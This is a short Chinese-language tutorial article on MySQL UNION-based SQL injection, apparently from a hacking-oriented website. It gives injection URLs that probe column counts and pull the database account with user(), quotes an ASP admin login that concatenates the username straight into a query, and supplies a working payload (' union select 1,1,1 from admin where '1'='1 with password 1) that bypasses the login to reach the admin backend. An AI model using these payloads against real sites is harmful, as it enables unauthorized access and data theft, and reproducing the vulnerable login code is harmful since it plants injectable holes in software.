[推荐]利用union查询进行MYSQL注入的详细说明
热 荐 ★★★★★
利用union查询进行MYSQL注入的详细说明
以前看了很多关于利用union查询进行MYSQL注入的例子,觉得自己懂了,现在才知道其实以前的理解是有偏差的!
举个例子www.xxx.com/nn.php?id=1 and 1=2 union select 1,2,3,4,5,6,7,8,9/* 这里首先是猜到了有九个字段,然后呢?在本来应该是显示第一个字段内容的地方显示1(其实是构造第一个字段的查询结果为1),依次类推!同样,我们可以更换语句为
www.xxx.com/nn.php?id=1 and 1=2 union select user(),2,3,4,5,6,7,8,9/*,这样就是在本来应该显示第一个字段内容的地方显示数据库连接帐号!
接着说在剑心那里看到的一个分析来加深理解!先看段程序
<%
username=request("username") '接受管理员用户名
password=request("password") '接受管理员密码
keys=request("keys")
mm=0
%>
<!--#include file="conn.asp"-->
<%
if username<>"" and password<>"" then
set rs=newconn.execute("select * from admin where username='"& username & "'") '判断是否存在该用户
if not (rs.bof and rs.eof) then '判断是否有该权限
if rs("password")=password then
session("password")=rs("password") '为真则将该用户的该权限放入SESSION中
Response.Redirect "admin.asp" '跳转到管理员管理页面
else
mm=1
end if
else
mm=2
end if
elseif keys="submit" then
mm=3
end if
%>
这里直接把username放进了数据库查询语句,很明显是可以注入的,但是剑心直接构造了一个语句就可以进后台了,看下语句
提交用户名为
' union select 1,1,1 from admin where '1'='1
密码为
1
为什么呢?一起分析下!
首先看查询语句 select * from admin where username='"& username & "'
前面的 ' 是闭合查询语句的 ' ,然后在后面加了个union查询union select 1,1,1 from admin where '1'='1
这里其实是构造查询的所有字段都为1,理所当然密码也为1了,所以密码输入1就进后台了!
这里union select 1,1,1 为什么是3个1呢,应该是因为他有3个字段吧!
好了,对这个union查询的初步了解就是这么多了!
文章录入:cainiaowang 责任编辑:cainiaowang